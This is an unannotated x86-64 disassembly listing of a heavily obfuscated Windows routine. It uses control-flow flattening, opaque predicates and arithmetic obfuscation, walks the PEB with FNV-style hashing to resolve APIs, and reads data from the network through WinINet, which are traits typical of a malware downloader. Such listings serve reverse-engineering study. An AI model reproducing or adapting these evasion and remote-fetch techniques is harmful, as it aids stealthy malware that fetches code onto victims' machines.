mov ecx, 0x3117fdc4
jmp 0x14008b410
mov dword [rbp + 0x4b0], eax
mov ecx, dword [rbp + 0x4b0]
cmp ecx, 0x41
setge byte [rbp + 0x4a8]
mov ecx, dword [rbp + 0x4c0]
jmp 0x14008b410
cmp byte [rbp + 0x4a8], 0
mov ecx, 0x58a11e19
jne 0x14008b410
mov ecx, 0x22c0f4b1
jmp 0x14008b410
mov edx, dword [rbp + 0x4b0]
mov ecx, 0xb9e70da7
cmp edx, 0x5b
jl 0x14008b410
mov ecx, 0x22c0f4b1
jmp 0x14008b410
cmp ecx, 0x1f53ad1b
jne 0x14008b410
mov eax, 0x9fdcb46a
jmp 0x140089860
cmp eax, 0xbd0b03e6
je 0x14008b600
cmp eax, 0xe59fd857
jne 0x14008b625
mov r8d, dword [rbp + 0x4a4]
mov eax, 0x5c59f878
xor esi, esi
mov edi, dword [rbp + 0x4e8]
jmp 0x140089860
cmp eax, 0x17954bb8
je 0x14008984a
cmp eax, 0x2f530768
jne 0x140089860
mov eax, dword [rbp + 0x454]
jmp 0x140089860
mov r8d, dword [rbp + 0x430]
mov eax, 0x5c59f878
mov esi, 1
mov edi, dword [rbp + 0x430]
jmp 0x140089860
mov rax, qword [rbp + 0x468]
add rax, 1
mov qword [rbp + 0x4d8], rax
mov rax, qword [rbp + 0x468]
mov al, byte [rax]
mov byte [rbp + 0x4ef], al
cmp byte [rbp + 0x4ef], 0
setne byte [rbp + 0x4bc]
mov eax, dword [rbp + 0x4c4]
jmp 0x140089860
cmp byte [rbp + 0x4bc], 0
mov eax, 0x87ce9d3c
mov ecx, 0x2f530768
cmovne eax, ecx
jmp 0x140089860
mov dword [rbp + 0x4c8], edi
test esi, esi
mov eax, 0xc6b502bf
mov ecx, 0xbd0b03e6
cmove eax, ecx
mov r10, qword [rbp + 0x4d8]
mov ecx, dword [rbp + 0x4c8]
mov dword [rbp + 0x488], ecx
mov r9d, r8d
jmp 0x140089860
mov eax, dword [rbp + 0x488]
mov dword [rbp + 0x4e8], eax
mov dword [rbp + 0x430], r9d
mov qword [rbp + 0x468], r10
mov eax, dword [rbp + 0x448]
jmp 0x140089860
cmp eax, 0xc6b502bf
jne 0x140089860
mov eax, dword [rbp + 0x4c8]
cmp eax, 0x51f7bdbc
mov eax, 0xb47ad49
mov ecx, 0x38ffd90d
cmove eax, ecx
jmp 0x140089480
lea rax, [rbp - 0x50]
mov qword [rbp + 0x498], rax
mov rax, qword [rbp + 0x498]
mov rax, qword [rbp + 0x3f0]
mov qword [rbp - 0x50], rax
mov eax, dword [0x1400f2740]
mov ecx, dword [0x1400f2744]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x4b0]
sete r8b
cmp ecx, 0xa
setge cl
setl dl
setl byte [rbp + 0x4d8]
mov eax, edx
xor al, r8b
or dl, r8b
mov ebx, eax
xor bl, 1
or cl, r8b
and cl, bl
xor cl, dl
mov ebx, 0xf5647b0b
mov ecx, 0x1be0c2cb
cmovne ebx, ecx
test al, al
mov eax, 0xf5647b0b
cmovne ebx, eax
mov edx, 0x45f0e8c0
nop word [rax + rax]
cmp edx, 0x1be0c2ca
jg 0x14008b6f0
cmp edx, 0xd6cac8db
je 0x14008b722
cmp edx, 0xf5647b0b
jne 0x14008b6d0
jmp 0x14008b74e
cmp edx, 0x1be0c2cb
je 0x14008b734
cmp edx, 0x45f0e8c0
jne 0x14008b6d0
movzx eax, byte [rbp + 0x4b0]
cmp byte [rbp + 0x4d8], 0
mov edx, 0x1be0c2cb
mov edi, 0xd6cac8db
cmovne edx, edi
test al, al
cmovne edx, edi
jmp 0x14008b6d0
mov rax, qword [rbp + 0x3f0]
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
mov edx, ebx
jmp 0x14008b6d0
mov edx, 0xd6cac8db
jmp 0x14008b6d0
mov eax, 0x59f609f9
xor ecx, ecx
mov qword [rbp + 0x3f8], rcx
jmp 0x140089480
mov qword [rbp + 0x468], rcx
mov rcx, qword [rbp + 0x468]
mov r8d, dword [rcx + 0x88]
mov r9d, dword [rcx + 0x8c]
mov r10, r8
add r10, qword [rbp + 0x3f0]
mov ebx, dword [0x1400f2748]
mov edi, dword [0x1400f274c]
lea esi, [rbx - 1]
imul esi, ebx
and esi, 1
sete bl
sete byte [rbp + 0x4b0]
cmp edi, 0xa
setge al
setl byte [rbp + 0x4d8]
setl dl
mov ecx, edx
or sil, dl
and dl, bl
xor cl, bl
and al, bl
xor al, cl
mov ebx, esi
xor bl, 1
and bl, al
xor al, 1
test sil, sil
movzx eax, al
movzx ecx, cl
cmove ecx, eax
or bl, cl
mov eax, edx
or al, bl
and cl, dl
xor cl, dl
xor cl, al
mov eax, edx
xor al, bl
test cl, 1
mov ecx, 0x80d5946
mov edi, 0xbfa4195b
cmovne ecx, edi
mov qword [rbp - 0x48], r10
test bl, bl
mov ebx, ecx
mov esi, 0x80d5946
cmovne ebx, esi
mov dword [rbp - 0x40], r9d
test dl, dl
cmovne ebx, ecx
test al, 1
cmovne ebx, edi
mov ecx, 0x97bfe48f
nop dword [rax + rax]
cmp ecx, 0xfb599b2d
jg 0x14008b830
cmp ecx, 0x97bfe48f
je 0x14008b847
cmp ecx, 0xbfa4195b
jne 0x14008b810
jmp 0x14008b878
cmp ecx, 0xfb599b2e
je 0x14008b874
cmp ecx, 0x80d5946
jne 0x14008b810
mov ecx, 0xfb599b2e
jmp 0x14008b810
movzx eax, byte [rbp + 0x4b0]
movzx ecx, byte [rbp + 0x4d8]
mov edx, eax
xor dl, cl
test cl, cl
mov ecx, 0x80d5946
mov edi, 0xfb599b2e
cmovne ecx, edi
test al, al
cmovne ecx, edi
test dl, dl
cmovne ecx, edi
jmp 0x14008b810
mov ecx, ebx
jmp 0x14008b810
test r8d, r8d
setne byte [rbp + 0x468]
cmp byte [rbp + 0x468], 0
mov eax, 0x6d411e28
mov ecx, 0x74a48c19
cmovne eax, ecx
jmp 0x140089480
mov eax, ecx
cmp ecx, 0x59f609f9
jne 0x140089480
mov rax, qword [rbp + 0x458]
mov rcx, qword [rbp + 0x3f8]
mov qword [rax], rcx
mov eax, 0xc1f986a0
jmp 0x140089420
mov rdi, qword [rbp + 0x458]
mov ecx, dword [0x1400f2750]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1400f2754], 0xa
setge dl
setl bl
mov eax, ebx
and al, cl
xor bl, cl
or dl, cl
mov ecx, ebx
xor cl, 1
and cl, dl
xor cl, al
mov ecx, 0xa73473ab
mov edx, 0x1b46eaf3
cmovne ecx, edx
mov rdx, qword [rdi]
test al, al
mov eax, ecx
mov edi, 0xa73473ab
cmovne eax, edi
mov qword [rbp + 0x428], rdx
test bl, bl
cmove eax, ecx
jmp 0x140086ec0
mov rax, qword [rbp + 0x458]
mov eax, 0x2e809d8c
jmp 0x140086ec0
mov rsi, qword [rbp + 0x428]
mov eax, dword [0x1400f2238]
mov ecx, dword [0x1400f223c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x4d8]
cmp ecx, 0xa
setl byte [rbp + 0x468]
mov ecx, 0x6736daaf
mov r14d, 0x1960f506
mov r15d, 0x7860ff4d
nop word [rax + rax]
cmp ecx, 0x6736daae
jg 0x14008b9a0
cmp ecx, 0x163e145f
je 0x14008b9cf
cmp ecx, 0x1960f506
jne 0x14008b980
jmp 0x14008ba4c
cmp ecx, 0x7860ff4d
je 0x14008b9e2
cmp ecx, 0x6736daaf
jne 0x14008b980
movzx eax, byte [rbp + 0x4d8]
cmp byte [rbp + 0x468], 0
mov ecx, 0x163e145f
cmovne ecx, r15d
test al, al
cmovne ecx, r15d
jmp 0x14008b980
mov rcx, qword [rbp + 0x3c8]
call fcn.1400524c0
mov ecx, 0x7860ff4d
jmp 0x14008b980
mov rcx, qword [rbp + 0x3c8]
call fcn.1400524c0
mov ecx, dword [0x1400f2238]
mov edi, dword [0x1400f223c]
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
sete cl
cmp edi, 0xa
setl r8b
xor cl, r8b
mov edx, ebx
and dl, r8b
xor dl, cl
xor dl, 1
movzx edx, dl
cmp edi, 0xa
movzx ecx, cl
cmovge edx, ecx
test ebx, ebx
cmove edx, ecx
test dl, dl
mov edx, 0x163e145f
cmovne edx, r14d
test ebx, ebx
mov ecx, edx
cmove ecx, r14d
mov rbx, rax
cmp edi, 0xa
cmovge ecx, edx
jmp 0x14008b980
mov qword [rbp - 0x50], rbx
mov rdx, qword [rbp - 0x50]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x4000000
mov rcx, qword [rbp + 0x3c0]
xor r8d, r8d
xor r9d, r9d
call rsi
mov qword [rbp + 0x3b8], rax
cmp qword [rbp + 0x3b8], 0
je 0x14008bae6
mov eax, dword [rbp + 0x3d4]
lea r14, [rbp - 0x50]
lea rbx, [rbp + 0x3d4]
mov rsi, qword [sym.imp.WININET.dll_InternetReadFile]
nop dword [rax]
test eax, eax
je 0x14008baed
mov rcx, qword [rbp + 0x3b8]
mov rdx, r14
mov r8d, 0x400
mov r9, rbx
call rsi
xor edi, edi
nop dword [rax + rax]
mov eax, dword [rbp + 0x3d4]
cmp edi, eax
jae 0x14008baa0
movsxd rax, edi
lea rdx, [rax + rbp]
add rdx, 0xffffffffffffffb0
mov rcx, qword [rbp + 0x3b0]
call fcn.140099820
add edi, 1
jmp 0x14008bac0
xor esi, esi
jmp 0x14009968c
mov eax, dword [0x1400f2708]
mov ecx, dword [0x1400f270c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x4d8]
mov edx, 0xe45bd16b
mov esi, 0x655bcac1
cmove esi, edx
cmp ecx, 0xa
setl byte [rbp + 0x468]
mov edi, 0x655bcac1
cmovl esi, edx
mov edx, 0x8aa159b2
nop dword [rax]
cmp edx, 0x6465c0b0
jg 0x14008bb50
cmp edx, 0x8aa159b2
je 0x14008bb67
cmp edx, 0xe45bd16b
jne 0x14008bb30
jmp 0x14008bb9f
cmp edx, 0x6465c0b1
je 0x14008bb9b
cmp edx, 0x655bcac1
jne 0x14008bb30
mov edx, 0x6465c0b1
jmp 0x14008bb30
movzx edx, byte [rbp + 0x4d8]
movzx ebx, byte [rbp + 0x468]
mov ecx, edx
xor cl, bl
mov r8d, edx
or r8b, bl
mov eax, ecx
not al
not dl
or dl, bl
and dl, al
xor dl, r8b
xor dl, cl
test dl, 1
mov edx, 0x6465c0b1
cmovne edx, edi
jmp 0x14008bb30
mov edx, esi
jmp 0x14008bb30
lea rax, [0x1400f2120]
mov qword [rbp + 0x4b0], rax
mov rax, qword [rbp + 0x4b0]
mov rax, qword [rax]
mov qword [rbp + 0x428], rax
mov eax, 0x946470b0
mov r13d, 0x58a11e19
nop dword [rax]
cmp eax, 0xbbe3b739
je 0x14008bc00
cmp eax, 0x96c966fb
je 0x14008db2e
cmp eax, 0x946470b0
jne 0x14008bbd0
cmp qword [rbp + 0x428], 0
mov eax, 0x96c966fb
mov ecx, 0xbbe3b739
cmove eax, ecx
jmp 0x14008bbd0
lea rax, [rbp + 0x468]
mov qword [rbp + 0x458], rax
mov rax, qword [rbp + 0x458]
mov r9, qword gs:[0x60]
mov eax, dword [0x1400f2710]
mov ecx, dword [0x1400f2714]
lea r11d, [rax - 1]
imul r11d, eax
mov dword [rbp + 0x400], r11d
and r11d, 1
sete dl
mov dword [rbp + 0x438], ecx
cmp ecx, 0xa
setge bl
setl r8b
mov ecx, r8d
xor cl, dl
mov eax, ecx
xor al, 1
and r11b, r8b
or r11b, al
xor r11b, cl
mov eax, r11d
xor al, 1
and bl, dl
or bl, al
or r8b, dl
xor r8b, cl
mov eax, r8d
xor al, bl
mov ecx, eax
not cl
mov edx, r8d
not dl
and dl, bl
or dl, cl
xor bl, 1
or bl, r8b
xor dl, bl
test dl, 1
mov ecx, 0x8353906e
mov edi, 0x71946ac1
cmovne ecx, edi
test al, 1
mov r14d, 0x71946ac1
cmovne r14d, ecx
test bl, 1
cmove r14d, ecx
test dl, 1
mov rcx, qword [r9 + 0x18]
mov r9, qword [rcx + 0x10]
mov edx, dword [0x1400f2718]
mov eax, 0x8353906e
cmovne r14d, eax
lea ebx, [rdx - 1]
imul ebx, edx
and ebx, 1
sete dl
cmp dword [0x1400f271c], 0xa
setge r10b
setl al
mov ecx, eax
or cl, dl
mov edi, 0xc508309f
mov esi, 0xcc44ccd7
cmovne edi, esi
mov dword [rbp + 0x3e0], edi
mov rdi, qword [r9]
and r10b, dl
xor dl, al
or bl, al
and bl, dl
xor bl, r10b
xor dl, cl
mov eax, edx
xor al, bl
test bl, bl
mov ebx, 0xc508309f
mov ecx, 0xf10f0061
cmovne ebx, ecx
mov qword [rbp + 0x468], rdi
test dl, dl
cmovne ebx, ecx
mov qword [rbp + 0x3e8], rdi
mov qword [rbp + 0x470], rdi
test al, al
cmovne ebx, ecx
mov dword [rbp + 0x488], ebx
mov eax, dword [0x1400f2720]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov edx, 0x809b86b9
mov eax, 0xd7e19ab2
cmovne edx, eax
mov ebx, 0xd7e19ab2
mov ecx, 0xb30e34d3
cmove ebx, ecx
cmp dword [0x1400f2724], 0xa
mov eax, 0x809b86b9
cmovl edx, eax
mov dword [rbp + 0x48c], edx
cmovl ebx, ecx
mov dword [rbp + 0x490], ebx
test r11b, r11b
mov eax, 0x8353906e
cmovne eax, r14d
test r8b, r8b
cmove eax, r14d
mov dword [rbp + 0x4c0], eax
mov eax, 0x3a8cbc47
nop word [rax + rax]
cmp eax, 0x52b0d9ba
jle 0x14008bde0
cmp eax, 0x52b0d9bb
je 0x14008d9d5
cmp eax, 0x62abb3bd
je 0x14008db13
cmp eax, 0x681faaa4
jne 0x14008bdb0
mov eax, 0x62abb3bd
xor edi, edi
jmp 0x14008bdb0
cmp eax, 0xa588d843
je 0x14008dabd
cmp eax, 0x3a8cbc47
jne 0x14008bdb0
lea rax, [rbp + 0x468]
mov qword [rbp + 0x420], rax
mov rax, qword [rbp + 0x420]
mov rcx, qword [rax]
mov rax, qword [rcx + 0x60]
movzx ecx, word [rcx + 0x58]
and ecx, 0xfffffffe
add rcx, rax
mov qword [rbp + 0x498], rcx
mov ecx, 0x811c9dc5
mov edx, 0xfdab94d
nop dword [rax]
cmp edx, 0xd7e19ab1
jg 0x14008be60
cmp edx, 0x809b86b9
je 0x14008dad5
cmp edx, 0x9ad9fbe2
je 0x14008bec0
cmp edx, 0xb30e34d3
jne 0x14008be30
mov edx, dword [rbp + 0x48c]
jmp 0x14008be30
cmp edx, 0xd7e19ab2
je 0x14008bea5
cmp edx, 0x354aae89
je 0x14008beac
cmp edx, 0xfdab94d
jne 0x14008be30
mov dword [rbp + 0x430], ecx
mov qword [rbp + 0x4d8], rax
mov rdx, qword [rbp + 0x498]
mov rbx, qword [rbp + 0x4d8]
cmp rbx, rdx
mov edx, 0x9ad9fbe2
mov ebx, 0x354aae89
cmove edx, ebx
jmp 0x14008be30
mov edx, 0xb30e34d3
jmp 0x14008be30
mov edx, dword [rbp + 0x490]
jmp 0x14008be30
mov qword [rbp + 0x410], rdi
test byte [rbp + 0x400], 1
mov rax, qword [rbp + 0x4d8]
movsx r8d, byte [rax]
mov eax, dword [rbp + 0x430]
mov dword [rbp + 0x4c4], eax
sete byte [rbp + 0x4d0]
cmp dword [rbp + 0x438], 0xa
setl byte [rbp + 0x4a4]
mov eax, 0x462bec05
jmp 0x14008bf20
mov eax, dword [rbp + 0x4c8]
cmp eax, 0x5b
mov eax, 0x22c0f4b1
mov ecx, 0xb9e70da7
cmovl eax, ecx
nop word [rax + rax]
cmp eax, 0x3117fdc3
jle 0x14008bf70
cmp eax, 0x58a11e18
jg 0x14008c950
cmp eax, 0x3117fdc4
je 0x14008c988
cmp eax, 0x462bec05
jne 0x14008bf20
movzx ecx, byte [rbp + 0x4d0]
cmp byte [rbp + 0x4a4], 0
mov eax, 0x71946ac1
mov edx, 0x3117fdc4
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x14008bf20
cmp eax, 0x1f53ad1a
jg 0x14008c970
cmp eax, 0x8353906e
je 0x14008c9aa
cmp eax, 0xb9e70da7
jne 0x14008bf20
mov r14d, dword [rbp + 0x4c8]
mov eax, r14d
and eax, 0x300d32eb
or eax, 0x8922c414
mov ecx, r14d
and ecx, 0xcff2cd14
xor ecx, eax
mov eax, ecx
xor eax, 0x76dd3beb
mov edx, ecx
xor edx, 0x8922c414
or edx, eax
xor ecx, 0x9f2d3869
and ecx, edx
xor ecx, 0x160ffc7d
and ecx, edx
mov eax, ecx
and eax, 0xe1770bb
mov r12d, ecx
and r12d, 0xf1e88f44
or r12d, 0x6022002
xor r12d, eax
xor r12d, 0x81550b9
or r12d, ecx
mov eax, r14d
and eax, 0x6098fcd3
or eax, 0xf210028
mov edx, r14d
and edx, 0x9f67032c
xor edx, eax
mov ebx, edx
xor ebx, 0x1367093
mov ecx, edx
or ecx, 0xf1e88f44
xor ecx, 0xffe98f6c
or ecx, ebx
mov ebx, edx
xor ebx, 0xfec98f6c
or ebx, ecx
xor ecx, edx
xor ecx, 0x1367093
and ecx, ebx
mov edx, r12d
and edx, 0xee181f2d
mov ebx, r12d
and ebx, 0x11e7e0d2
or ebx, 0x6000808
xor ebx, edx
mov edx, ecx
mov eax, ecx
not r12d
and r12d, ecx
xor ecx, 0x11e7e0d2
xor edx, 0xb4b1d84f
and edx, ecx
or eax, 0x5aa9c762
xor eax, 0xfeb9df6f
or eax, edx
mov ecx, ebx
xor ecx, 0x4d4e2fb8
xor ebx, 0xb2b1d047
and ebx, eax
not eax
and eax, ecx
or r12d, eax
or r12d, ebx
not r12d
mov eax, r12d
and eax, 0xa4519b98
and r12d, 0x5bae6467
or r12d, 0x84109000
xor r12d, eax
mov eax, r12d
xor eax, 0xdfbef467
mov r11d, r12d
and r11d, 0x5dfaf697
xor r12d, 0x824402f0
and r12d, eax
mov eax, r11d
xor eax, r12d
xor eax, 0x400290
xor r11d, 0x400290
and r11d, r12d
or r11d, eax
mov r9d, r11d
xor r9d, 0xf7bc1db4
mov eax, r11d
or eax, 0xe66cfdeb
mov ecx, eax
xor ecx, 0xee6fffeb
mov edx, r11d
and edx, 0x19930214
xor edx, 0x8030200
mov esi, r11d
xor esi, 0x11d0e05f
or esi, edx
mov edx, esi
not edx
and edx, ecx
and eax, 0xc2df5143
and ecx, 0x19000214
or ecx, eax
xor ecx, esi
mov eax, edx
xor eax, ecx
xor eax, 0x3db0aebc
xor ecx, 0x19900214
and ecx, edx
mov edx, eax
and edx, 0xe66cfdeb
and eax, 0x19930214
or eax, ecx
or eax, edx
mov ecx, eax
and ecx, 0xecc1695
mov edx, eax
xor edx, 0xe8a0eb7e
mov r15d, ecx
xor r15d, 0xf9b3eb7e
mov esi, eax
xor esi, 0x175f1481
mov ebx, ecx
xor ebx, 0x844653a6
and ebx, r15d
or ecx, 0x820a4727
mov edi, eax
or edi, 0x7df5b8d8
xor edi, 0x7fffbcd9
mov r10d, eax
xor r10d, 0x6aaaac59
and r10d, edx
or r10d, edi
mov edx, ecx
and edx, 0x888217a6
and eax, 0x4440010
or eax, edx
xor ecx, 0x864e57a7
and ecx, ebx
and ebx, 0xecc5695
xor ebx, eax
xor ebx, 0x4441684
or ecx, ebx
xor ecx, r10d
or esi, r15d
mov eax, esi
and eax, 0xecc1695
xor eax, ecx
xor eax, 0xecc1695
not esi
and esi, ecx
or esi, eax
mov eax, esi
and eax, 0x3d6ad4f5
mov r15d, esi
and r15d, 0xc2940808
mov ecx, esi
or ecx, 0xc2952b0a
mov ebx, esi
and ebx, 0xc2952b0a
mov r10d, eax
xor r10d, 0x1501f783
and r10d, ecx
xor eax, 0x3d6ad4f5
mov edx, eax
and edx, 0x354014c4
and ecx, 0x4a2ee339
or ecx, edx
or eax, ebx
xor ecx, ebx
not ebx
mov edx, esi
or edx, 0xeaff2b7e
and ebx, 0x286b2376
or ebx, r15d
mov edi, edx
and edi, 0x8febd69e
and esi, 0x10000001
or esi, edi
not edx
and edx, r10d
and r10d, 0x3d6af7f5
xor r10d, esi
xor r10d, 0x9fead69d
or edx, r10d
xor edx, ebx
xor ecx, 0xb5d11cc6
and ecx, eax
or ecx, edx
mov eax, ecx
and eax, 0xd25c9294
or eax, 0x28034442
and ecx, 0x2da36d6b
xor ecx, eax
mov eax, ecx
xor eax, 0x156990b7
mov edx, ecx
xor edx, 0xea966f48
or edx, eax
xor ecx, 0x60a362d4
and ecx, edx
mov eax, ecx
xor eax, 0x8a350d9c
or eax, edx
xor ecx, edx
xor ecx, 0x75caf263
and ecx, eax
mov eax, r14d
and eax, 0xbae01e84
mov edx, r14d
and edx, 0x451fe17b
or edx, 0x98801e04
xor edx, eax
mov eax, r14d
and eax, 0x80000
mov ebx, edx
and ebx, 0xb4240811
and edx, 0x4bd3f7ee
add eax, ebx
add eax, 0x52e686
xor eax, edx
and r14d, 0xf133e96a
mov esi, r14d
xor r14d, eax
xor eax, 0x9012e802
xor esi, 0xf133e96a
and esi, eax
xor r14d, 0x672d077d
or esi, r14d
mov r10d, esi
not r10d
and r10d, ecx
mov r15d, ecx
or r15d, 0x8e000724
mov edx, ecx
and edx, 0x8e000724
and r14d, 0xc000004
mov eax, esi
and eax, 0x82000720
or eax, r14d
mov ebx, ecx
xor ebx, 0x8a000104
and ebx, edx
not edx
mov r14d, r15d
and r14d, 0xfb0fa016
mov edi, edx
and edi, 0xea028104
or ebx, edi
mov edi, ecx
and edi, 0xf058c9
or edi, r14d
xor edi, ebx
xor edi, 0x11fd79db
mov ebx, ecx
and ebx, 0x609ee042
and r15d, 0x9f611a9d
or r15d, ebx
mov ebx, ecx
and ebx, 0x520
and edx, 0x9f611a9d
add edx, ebx
add edx, 0x609ee042
xor edx, r15d
xor ecx, 0x8e000724
or ecx, edx
not ecx
or ecx, edi
mov edx, eax
and edx, 0x6000000
and esi, 0x71fff8db
or esi, edx
or eax, 0x262e5009
xor eax, esi
mov edx, eax
xor edx, 0xa82e572d
xor eax, 0x57d1a8d2
and eax, ecx
not ecx
and ecx, edx
or eax, ecx
mov edx, r10d
and edx, 0xc64177d6
or edx, 0x39268801
mov ecx, r10d
and ecx, 0x39be8829
xor ecx, edx
mov edx, ecx
xor edx, 0xff67ffd7
mov esi, eax
xor esi, 0x39be8829
or esi, edx
xor ecx, eax
xor ecx, 0x39268801
and ecx, edx
xor ecx, esi
not ecx
and eax, r10d
mov edx, eax
and edx, 0xa32261d0
or edx, 0x10999806
mov esi, eax
and esi, 0x5cdd9e2f
xor esi, edx
xor esi, ecx
and eax, ecx
mov ecx, esi
xor ecx, eax
xor ecx, 0x10999806
xor esi, 0x10999806
and esi, eax
or esi, ecx
mov ecx, esi
mov r10d, esi
mov edi, esi
mov r15d, esi
mov edx, esi
and edx, 0x310718ea
or edx, 0x6f8a511
mov r14d, esi
and r14d, 0xcef8e715
xor r14d, edx
mov edx, r14d
xor edx, 0xf7cb4c5b
or edx, esi
xor r14d, esi
and esi, 0x190a9b13
or ecx, 0xe6f564ec
and r10d, 0xe6f564ec
mov eax, esi
xor eax, 0xc026d4ea
and eax, ecx
or edi, 0xfffd6ffd
mov ebx, edi
and ebx, 0xb0495454
and r15d, 0x28002
or r15d, ebx
not edi
and edi, eax
and eax, 0x592e9bbb
xor eax, r15d
xor eax, 0x304b9016
or edi, eax
xor edi, r10d
xor edi, 0xd92c4ff9
xor esi, 0x190a9b13
mov eax, esi
and eax, 0x21101
and ecx, 0xddf8ce1a
or ecx, eax
or esi, r10d
xor ecx, r10d
xor ecx, 0x220731e5
and ecx, esi
or ecx, edi
mov eax, ecx
xor eax, 0x190a9b13
xor ecx, 0x17c68da6
or ecx, eax
xor r14d, 0x834b3a4
and r14d, edx
mov eax, ecx
not eax
and eax, r14d
xor r14d, ecx
xor r14d, eax
mov edi, r11d
xor edi, 0x843e24b
mov esi, r11d
mov r10d, r11d
mov eax, r11d
mov ecx, r11d
and ecx, 0xf4e5e31e
xor r11d, 0x359feaa
and r11d, r9d
mov edx, ecx
xor edx, r11d
xor edx, 0x41e20a
xor ecx, 0x41e20a
and ecx, r11d
or ecx, edx
mov edx, ecx
xor edx, 0x6653709e
and edx, edi
or edi, r9d
and r12d, 0x82000820
and esi, 0x1098338a
or esi, r12d
and r10d, 0x6d67c455
or r10d, esi
mov esi, r10d
xor esi, 0x6524261e
mov ebx, edi
and ebx, 0x6d67c455
xor eax, edi
and edi, 0x92983baa
or edi, 0x64244445
xor edi, ebx
mov ebx, edi
xor ebx, 0xf6bc7fef
xor r10d, 0x9adbd9e1
and r10d, ebx
xor edi, 0x9438010
and edi, esi
xor eax, 0xf7bc1db4
or eax, r9d
not eax
or eax, edi
or eax, r10d
mov r10d, eax
not r10d
mov ebx, eax
and ebx, 0x6d496c7f
mov edi, ecx
xor edi, 0x99ac8f61
and edi, r9d
or edi, edx
xor ecx, edi
xor ecx, 0x6653709e
and ecx, edi
mov edx, eax
xor edx, 0x5014c23
and edx, ebx
and ebx, ecx
mov esi, eax
and esi, 0x5014c23
xor esi, edx
xor esi, 0x85b5cfa3
and edx, 0x5014c23
or edx, esi
mov edi, ecx
and edi, 0x85b5cfa3
or edi, 0x840004c
and ecx, 0x7a4a305c
xor ecx, edi
xor ecx, edx
mov edx, ecx
mov edi, ebx
xor edi, ecx
xor edi, 0x720a3010
mov esi, edi
and esi, ebx
xor ecx, 0x60082010
and ecx, ebx
not ebx
xor edx, 0x8df5cfef
and edx, ebx
or edx, ecx
xor edx, esi
and ecx, edi
or ecx, edx
mov edx, r10d
and edx, eax
and eax, 0x29086950
and r10d, 0xd6f7968f
or r10d, eax
xor r10d, 0xd6f7968f
and edx, 0xffffffdf
or edx, r10d
mov r11d, ecx
xor r11d, 0x6d496c5f
lea r9d, [rdx + 0x20]
mov eax, ecx
xor eax, 0xe8f03d9b
mov esi, ecx
xor esi, 0x92b693a0
or esi, eax
mov ebx, ecx
or ebx, 0x7a46ae3b
xor ebx, 0x7f4fee7f
or eax, ebx
mov r15d, edx
and r15d, 0x85b951c4
mov edi, edx
xor edi, 0x85b951e4
or edi, r15d
not esi
and esi, ebx
xor esi, eax
mov eax, edi
and eax, 0xffffffdf
mov ebx, eax
xor ebx, 0x6727c902
xor edx, 0x291100
and edx, r15d
mov r10d, ebx
xor eax, 0xffffffdf
mov r12d, eax
and r12d, 0x1bcc4c01
and ebx, 0xe433b3de
or ebx, r12d
or eax, r15d
xor ebx, r15d
or r15d, 0x8594c8c6
xor edx, r15d
or r10d, 0x8594c8c6
or edi, 0x7a6b3739
xor edi, r10d
mov r10d, edi
xor r10d, 0x81000
and r10d, edx
not edx
xor edi, 0xe7b341e4
and edi, edx
or edi, r10d
xor ebx, 0x7fefcd03
and ebx, eax
or ebx, edi
mov eax, esi
xor eax, 0x1ac5778a
mov edx, ebx
and edx, 0xe53a8875
or edx, 0x8453780
and ebx, 0x1ac5778a
xor ebx, edx
mov edx, ebx
xor edx, 0xed7fbff5
xor esi, 0xe53a8875
and esi, edx
xor ebx, 0x1280400a
and ebx, eax
or ebx, esi
and r11d, r9d
xor ecx, r9d
xor ecx, 0x6d496c5f
or ecx, r11d
mov edx, ebx
and edx, 0x5bce1f7c
xor edx, ecx
mov eax, ebx
xor eax, ecx
not ecx
or ecx, ebx
and ebx, 0xa431e083
or ebx, 0x1ac01b00
xor edx, ebx
and ecx, eax
mov eax, edx
xor eax, ecx
xor eax, 0xe53fe4ff
xor edx, 0xe53fe4ff
and edx, ecx
or edx, eax
mov ecx, edx
and ecx, 0x563e2c9a
or ecx, 0x9005300
mov eax, edx
and eax, 0xa9c1d365
xor eax, ecx
mov ebx, edx
xor ebx, eax
xor eax, 0xf6ffacff
or eax, edx
xor ebx, 0x9005300
and eax, ebx
mov ecx, eax
xor ecx, edx
and ecx, ebx
mov ebx, edx
and ebx, 0xa4a3d9c2
and edx, 0x5b5c263d
or edx, 0xa0a01800
xor edx, ebx
mov ebx, edx
xor ebx, 0xfbfc3e3d
mov edi, eax
and edi, 0xa4a3d9c2
or edi, 0x4354221d
and eax, 0x5b5c263d
xor eax, edi
mov edi, eax
xor edi, 0xe7f7fbdf
xor edx, 0x403c1c2
and edx, edi
xor eax, 0x18080420
and eax, ebx
or eax, ecx
or eax, edx
mov edx, eax
not edx
and edx, r14d
mov r10d, r14d
xor r10d, eax
xor r10d, edx
mov r11d, r14d
and r11d, 0x9903995d
mov edx, eax
or edx, 0x66fc66a2
mov esi, edx
not esi
mov r9d, eax
and r9d, 0x66fc66a2
and r14d, 0x66fc66a2
or r14d, 0x98008855
and edx, 0xae0a6a3c
mov ebx, esi
and ebx, 0x11019141
or ebx, edx
mov edx, ebx
xor edx, 0x51f595c3
mov edi, ebx
xor ebx, 0xae0a6a3c
mov r15d, ebx
or ebx, r9d
not r9d
xor edi, 0xc263434a
and edi, edx
and esi, 0x91029009
or esi, edi
mov edi, eax
and edi, 0x60080022
mov ecx, r9d
and ecx, 0xc602114
add ecx, edi
add ecx, 0x3020681
mov edi, eax
and edi, 0x2944680
xor edi, ecx
mov ecx, edi
xor ecx, 0x630b0ee3
xor edi, 0x9cf4f11c
and edi, esi
not esi
and esi, ecx
or edi, esi
and r15d, 0x89021805
and edx, 0x10ddc158
or edx, r15d
and eax, 0x662026a2
and r9d, 0x10ddc158
or r9d, eax
xor r9d, edx
not r9d
and r9d, ebx
or r9d, edi
xor r9d, r11d
xor r9d, r14d
mov eax, r9d
xor eax, 0x1031108
mov ecx, r10d
xor r9d, 0xfefceef7
and r9d, r10d
xor r10d, 0x6ee49458
mov edx, eax
and edx, 0x6ee49458
and eax, 0x911b6ba7
or eax, 0x26e40458
xor eax, edx
